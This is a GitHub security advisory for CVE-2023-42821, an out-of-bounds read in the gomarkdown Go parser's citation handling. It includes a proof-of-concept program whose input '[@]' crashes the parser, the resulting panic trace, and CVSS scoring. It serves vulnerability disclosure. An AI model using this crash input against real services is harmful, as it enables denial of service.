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Out-of-bounds Read while parsing citations

Moderate
kjk published GHSA-m9xq-6h2j-65r2 Sep 22, 2023

Package

gomod markdown (Go)

Affected versions

7478c23

Patched versions

14b1601

Description

Summary

Parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability.

Details

To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length.

switch citation[j] {

PoC

package main

import (
	"github.com/gomarkdown/markdown"
	"github.com/gomarkdown/markdown/parser"
)

func main() {
	ext := parser.CommonExtensions |
		parser.Attributes |
		parser.OrderedListStart |
		parser.SuperSubscript |
		parser.Mmark
	p := parser.NewWithExtensions(ext)

	inp := []byte("[@]")
	markdown.ToHTML(inp, p, nil)
}
$ go run main.go
panic: runtime error: index out of range [1] with length 1

goroutine 1 [running]:
github.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/citation.go:69 +0x544
github.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:308 +0x1c0
github.com/gomarkdown/markdown/parser.(*Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:38 +0xb8
github.com/gomarkdown/markdown/parser.(*Parser).Parse.func1({0x102d87f48?, 0x14000076180}, 0x0?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:307 +0x8c
github.com/gomarkdown/markdown/ast.NodeVisitorFunc.Visit(0x140000106e0?, {0x102d87f48?, 0x14000076180?}, 0x68?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:574 +0x38
github.com/gomarkdown/markdown/ast.Walk({0x102d87f48, 0x14000076180}, {0x102d87348, 0x140000106e0})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:546 +0x58
github.com/gomarkdown/markdown/ast.Walk({0x102d877b0, 0x14000076120}, {0x102d87348, 0x140000106e0})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:557 +0x144
github.com/gomarkdown/markdown/ast.WalkFunc(...)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:580
github.com/gomarkdown/markdown/parser.(*Parser).Parse(0x14000152000, {0x1400000e3f0?, 0x0?, 0x0?})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:304 +0x16c
github.com/gomarkdown/markdown.Parse({0x1400000e3f0?, 0x3f?, 0x14000141e38?}, 0x102c6b43c?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:53 +0x6c
github.com/gomarkdown/markdown.ToHTML({0x1400000e3f0?, 0x0?, 0x60?}, 0x0?, {0x0, 0x0})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:77 +0x30
main.main()
	/Users/demon/tools/markdown_cve_poc/main.go:17 +0x5c
exit status 2

Impact

Denial of Service / panic

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2023-42821

Weaknesses

Credits